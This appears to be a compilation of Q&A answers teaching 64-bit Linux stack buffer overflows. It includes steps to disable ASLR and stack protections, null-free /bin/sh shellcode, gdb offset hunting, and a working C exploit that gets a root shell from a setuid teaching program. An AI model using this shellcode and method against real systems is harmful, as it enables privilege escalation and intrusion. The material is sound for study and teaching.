Buffer Overflows on 64 Bit

Buffer overflows on 64 bit

First make sure that you change the randomize_va_space. On Ubuntu you would run the following as root

echo 0 > /proc/sys/kernel/randomize_va_space

Next make sure you are compiling the test program without stack smashing protection and set the memory execution bit. Compile it with the following gcc options to accomplish

-fno-stack-protector -z execstack

Also I found I needed more space to actually execute a shell so I would change your buffer to something more like buffer[64]

Next you can run the app in gdb and get the stack address you need to return to

First set a breakpoint right after the strcpy

(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

Then run the app and at the break point grab the rax register address.

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)

Next determine your max buffer size. I know that the buffer of 64 crashes at 72 bytes so I will just go from that.. You could use something like metasploits pattern methods to give you this or just figure it out from trial and error running the app to find out the exact byte count it takes before getting a segfault or make up a pattern of your own and match the rip address like you would with the metasploit pattern option.

Next, there are many different ways to get the payload you need but since we are running a 64bit app, we will use a 64bit payload. I compiled C and then grabbed the ASM from gdb and then made some changes to remove the \x00 chars by changing the mov instructions to xor for the null values and then shl and shr to remove them from the shell command. We will show this later but for now the payload is as follows.

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

our payload here is 48 bytes so we have 72 - 48 = 24

We can pad the payload with \x90 (nop) so that instruction will not be interrupted. Ill add 2 at the end of the payload and 22 at the beginning. Also I will tack on the return address that we want to the end in reverse giving the following..

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

Now if you want to run it outside of gdb, you may have to fudge with the return address. In my case the address becomes \x70\xe0\xff\xff\xff\x7f outside of gdb. I just increased it until it worked by going to 40 then 50 then 60 then 70..

test app source

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char name[64];

strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);

return 0;
}

This is the payload in C

#include <stdlib.h>

int main()
{
execve("/bin/sh", NULL, NULL);
}

And payload in ASM which will build and run

int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}

And since we can't use \x00 we can change to xor the values and do some fancy shifting to remove the bad values of the mov for setting up /bin/sh

int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}

if you compile that payload, run it under gdb you can get the byte values you need such as

(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)

or get it all by doing something like

(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05

Buffer overflow in 64 bit with strcpy

I was able to modify your sample code to get it to work in 64-bit with the notesearch program from the book.

Many of the protections in modern OSes and build tools must be turned off for this to work, but it is obviously for educational purposes, so that's reasonable for now.

First, turn off ASLR on your system with:

echo 0 > /proc/sys/kernel/randomize_va_space

This must be done as root, and it won't work with sudo, since the sudo will only apply to the echo command, not the redirection. Just sudo -i first, then run it.

Next, the notesearch program must be compiled with two important safety protections disabled. By default, your program would be built with stack canaries for the detection of buffer overflows and also a non-executable stack, since there's usually no legitimate reason to run code from the stack.

gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c

Now, the exploit code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory

strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end

memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
memcpy(buffer, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command); // run exploit
}

This problem can be narrowed down to a simple return address overwrite, so no NOP sled is required. Additionally, the shellcode from your original post was for 32-bit only. The 64-bit shellcode I used is from http://shell-storm.org/shellcode/files/shellcode-806.php.

The big question: Where did 0x78 and 0x7fffffffe1c0 come from? I started out with a number larger than 0x78 since I didn't know what to use. I just guessed 175 since it's bigger than the target buffer. So the first iteration had these lines:

memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;

Now to try that out. Note that, while testing, I used a non-setuid version of notesearch to facilitate successful core dumps.

ulimit -c unlimited
gcc myexp.c
./a.out

The notesearch program crashed and created a core file:

deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$

Running gdb ./notesearch core shows:

Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35 }
(gdb)

Good. It crashed. Why?

(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)

It's trying to return to our controlled address (all A's). Good. What offset from our controlled string (searchstring) points to the return address?

(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)

So now we try again, with these changes:

memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;

Again, we get a core dump. Analyzing it shows:

Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35 }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)

Good, we controlled the return address more surgically. Now, what do we want to put there instead of a bunch of B's? Search a reasonable range of stack for our shellcode (0xbb48c031 is a DWORD corresponding to the first 4 bytes in the shellcode buffer). Just mask off the lower 3 digits and start at the beginning of the page.

(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)

So our shellcode exists on the stack at 0x7fffffffe1c0. This is our desired return address. Updating the code with this information, and making notesearch setuid root again, we get:

deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#

The code I provided may work as is on your setup, but most likely, you'll probably need to follow a similar path to get the correct offsets to use.

Buffer overflows on 64 Bit Linux

With just a regular buffer overflow the shell code can't do anything the original program can't, you would need an actual kernel exploit for that.

You usually get root shells when you have programs that run as root, either because they have the +s flag (set uid) or because they are daemons that take userinput from somewhere outside the system.

Setuid-programs are programs that run as a different user than you launch them as. Take su for example, it is owned by root and has +s set, therefore it runs as root no matter who starts it. The program then tries to confirm that you are allowed to escalate privileges and spawns a shell for the user you requested. If there was buffer overflow vulnerability in su and you were to put a regular /bin/sh payload in it, you would end up with a root shell.

A daemon could be for example a webinterface that runs as root in order to do something (maybe it can shut down the pc). If it had a vulnerability that you could access from outside the computer, like a buffer overflow in the HTTP headers, you would again be able to spawn a root shell.

The shells you saw probably made use of the setuid() C function (or similar ones), which can do the same thing as +s if the process is privileged enough.

Stack resident buffer overflow on 64-bit?

Those two instructions are doing exactly what you expect them to do. You have overwritten the previous stack frame with 0x41's so when you hit the leaveq, you are doing this:

mov rsp, rbp
pop rpb

Now rsp points to where rbp did before. However, you have overwritten that region of memory, so when you do the pop rbp, the hardware is essentially doing this

mov rbp, [rsp]
add rsp,1

But [rsp] now has 0x41's. So this is why you're seeing rbp get filled with that value.

As for why rip isn't getting set like you expect, it's because ret is setting the rip to 0x41 and then generating an exception (page fault) on the instruction fetch. I wouldn't rely on GDB to show the right thing in this case. You should try overwriting the return value with a valid address within the program's text segment and you likely won't see this weird behavior.



Related Topics



Leave a reply



Submit